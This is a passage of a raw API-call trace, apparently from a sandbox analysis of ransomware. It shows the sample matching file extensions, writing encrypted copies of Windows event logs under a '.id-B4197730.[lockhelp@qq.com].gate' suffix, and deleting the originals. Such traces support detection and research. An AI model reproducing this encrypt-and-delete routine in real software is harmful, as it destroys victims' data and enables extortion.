[0275.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.728] lstrlenW (lpString=".jpg") returned 4 [0275.728] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.728] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.728] lstrlenW (lpString=".doc") returned 4 [0275.728] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.728] lstrlenW (lpString=".docx") returned 5 [0275.728] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.728] lstrlenW (lpString=".pdf") returned 4 [0275.728] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.729] lstrlenW (lpString=".xls") returned 4 [0275.729] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.729] lstrlenW (lpString=".xlsx") returned 5 [0275.729] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.729] lstrlenW (lpString=".ppt") returned 4 [0275.729] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.729] lstrlenW (lpString=".zip") returned 4 [0275.729] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.729] lstrlenW (lpString=".rar") returned 4 [0275.729] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.729] lstrlenW (lpString=".bz2") returned 4 [0275.729] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.729] lstrlenW (lpString=".7z") returned 3 [0275.729] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.729] lstrlenW (lpString=".dbf") returned 4 [0275.729] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.729] lstrlenW (lpString=".1cd") returned 4 [0275.729] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.729] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0275.729] lstrlenW (lpString=".jpg") returned 4 [0275.729] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.729] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.729] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0275.729] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0275.730] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0275.730] CloseHandle (hObject=0x3a4) returned 1 [0275.730] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0275.731] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.731] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0275.731] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.731] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.731] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.732] GetLastError () returned 0x0 [0275.732] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.828] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.829] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.829] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x132, lpOverlapped=0x0) returned 1 [0275.829] SetEndOfFile (hFile=0x3a8) returned 1 [0275.829] CloseHandle (hObject=0x3a8) returned 1 [0275.831] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.831] SetEndOfFile (hFile=0x3a4) returned 1 [0275.832] CloseHandle (hObject=0x3a4) returned 1 [0275.832] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.832] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0275.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.833] lstrlenW (lpString=".doc") returned 4 [0275.833] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.833] lstrlenW (lpString=".docx") returned 5 [0275.833] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.833] lstrlenW (lpString=".pdf") returned 4 [0275.833] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.833] lstrlenW (lpString=".xls") returned 4 [0275.833] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.833] lstrlenW (lpString=".xlsx") returned 5 [0275.833] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.833] lstrlenW (lpString=".ppt") returned 4 [0275.833] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.833] lstrlenW (lpString=".zip") returned 4 [0275.833] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.833] lstrlenW (lpString=".rar") returned 4 [0275.833] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.833] lstrlenW (lpString=".bz2") returned 4 [0275.833] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.833] lstrlenW (lpString=".7z") returned 3 [0275.833] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.833] lstrlenW (lpString=".dbf") returned 4 [0275.833] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.833] lstrlenW (lpString=".1cd") returned 4 [0275.833] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.833] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.834] lstrlenW (lpString=".jpg") returned 4 [0275.834] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.834] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.834] lstrlenW (lpString=".doc") returned 4 [0275.834] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString=".docx") returned 5 [0275.834] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.834] lstrlenW (lpString=".pdf") returned 4 [0275.834] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString=".xls") returned 4 [0275.834] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString=".xlsx") returned 5 [0275.834] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.834] lstrlenW (lpString=".ppt") returned 4 [0275.834] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.834] lstrlenW (lpString=".zip") returned 4 [0275.834] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString=".rar") returned 4 [0275.834] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString=".bz2") returned 4 [0275.834] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString=".7z") returned 3 [0275.834] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.834] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.834] lstrlenW (lpString=".dbf") returned 4 [0275.834] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.834] lstrlenW (lpString=".1cd") returned 4 [0275.834] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.834] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0275.834] lstrlenW (lpString=".jpg") returned 4 [0275.834] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.835] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.835] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47 [0275.835] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0275.835] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0275.835] CloseHandle (hObject=0x3a4) returned 1 [0275.835] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20 [0275.835] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.835] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0275.835] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.835] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.835] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.836] GetLastError () returned 0x0 [0275.836] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0275.865] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0275.867] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.867] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x132, lpOverlapped=0x0) returned 1 [0275.867] SetEndOfFile (hFile=0x3a8) returned 1 [0275.867] CloseHandle (hObject=0x3a8) returned 1 [0275.869] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.869] SetEndOfFile (hFile=0x3a4) returned 1 [0275.870] CloseHandle (hObject=0x3a4) returned 1 [0275.870] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0275.870] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0275.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.870] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.870] lstrlenW (lpString=".doc") returned 4 [0275.870] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.870] lstrlenW (lpString=".docx") returned 5 [0275.871] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.871] lstrlenW (lpString=".pdf") returned 4 [0275.871] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.871] lstrlenW (lpString=".xls") returned 4 [0275.871] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.871] lstrlenW (lpString=".xlsx") returned 5 [0275.871] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.871] lstrlenW (lpString=".ppt") returned 4 [0275.871] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.871] lstrlenW (lpString=".zip") returned 4 [0275.871] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.871] lstrlenW (lpString=".rar") returned 4 [0275.871] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.871] lstrlenW (lpString=".bz2") returned 4 [0275.871] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.871] lstrlenW (lpString=".7z") returned 3 [0275.871] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.871] lstrlenW (lpString=".dbf") returned 4 [0275.871] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.871] lstrlenW (lpString=".1cd") returned 4 [0275.871] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.871] lstrlenW (lpString=".jpg") returned 4 [0275.871] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.871] lstrlenW (lpString=".doc") returned 4 [0275.871] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0275.872] lstrlenW (lpString=".docx") returned 5 [0275.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0275.872] lstrlenW (lpString=".pdf") returned 4 [0275.873] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0275.873] lstrlenW (lpString=".xls") returned 4 [0275.873] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0275.873] lstrlenW (lpString=".xlsx") returned 5 [0275.873] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0275.873] lstrlenW (lpString=".ppt") returned 4 [0275.873] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0275.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.873] lstrlenW (lpString=".zip") returned 4 [0275.873] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0275.873] lstrlenW (lpString=".rar") returned 4 [0275.873] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0275.873] lstrlenW (lpString=".bz2") returned 4 [0275.873] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0275.873] lstrlenW (lpString=".7z") returned 3 [0275.873] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0275.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.873] lstrlenW (lpString=".dbf") returned 4 [0275.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0275.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.873] lstrlenW (lpString=".1cd") returned 4 [0275.873] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0275.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0275.873] lstrlenW (lpString=".jpg") returned 4 [0275.873] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0275.874] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0275.874] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0275.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0275.874] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0275.874] CloseHandle (hObject=0x3a4) returned 1 [0275.874] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0275.874] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0275.874] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.875] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.875] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.875] GetLastError () returned 0x0 [0275.875] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.010] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.011] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.011] WriteFile (in: hFile=0x3a8, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x144, lpOverlapped=0x0) returned 1 [0276.011] SetEndOfFile (hFile=0x3a8) returned 1 [0276.011] CloseHandle (hObject=0x3a8) returned 1 [0276.013] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.013] SetEndOfFile (hFile=0x3a4) returned 1 [0276.014] CloseHandle (hObject=0x3a4) returned 1 [0276.014] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0276.014] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0276.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.015] lstrlenW (lpString=".doc") returned 4 [0276.015] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.015] lstrlenW (lpString=".docx") returned 5 [0276.015] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.015] lstrlenW (lpString=".pdf") returned 4 [0276.015] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.015] lstrlenW (lpString=".xls") returned 4 [0276.015] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.015] lstrlenW (lpString=".xlsx") returned 5 [0276.015] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.015] lstrlenW (lpString=".ppt") returned 4 [0276.015] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.015] lstrlenW (lpString=".zip") returned 4 [0276.015] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.015] lstrlenW (lpString=".rar") returned 4 [0276.015] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0276.015] lstrlenW (lpString=".bz2") returned 4 [0276.015] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0276.015] lstrlenW (lpString=".7z") returned 3 [0276.015] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0276.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.015] lstrlenW (lpString=".dbf") returned 4 [0276.015] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0276.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.015] lstrlenW (lpString=".1cd") returned 4 [0276.015] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0276.015] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.016] lstrlenW (lpString=".jpg") returned 4 [0276.016] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.016] lstrlenW (lpString=".doc") returned 4 [0276.016] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString=".docx") returned 5 [0276.016] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0276.016] lstrlenW (lpString=".pdf") returned 4 [0276.016] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString=".xls") returned 4 [0276.016] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString=".xlsx") returned 5 [0276.016] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0276.016] lstrlenW (lpString=".ppt") returned 4 [0276.016] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0276.016] lstrlenW (lpString=".zip") returned 4 [0276.016] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0276.016] lstrlenW (lpString=".rar") returned 4 [0276.016] lstrcmpiW 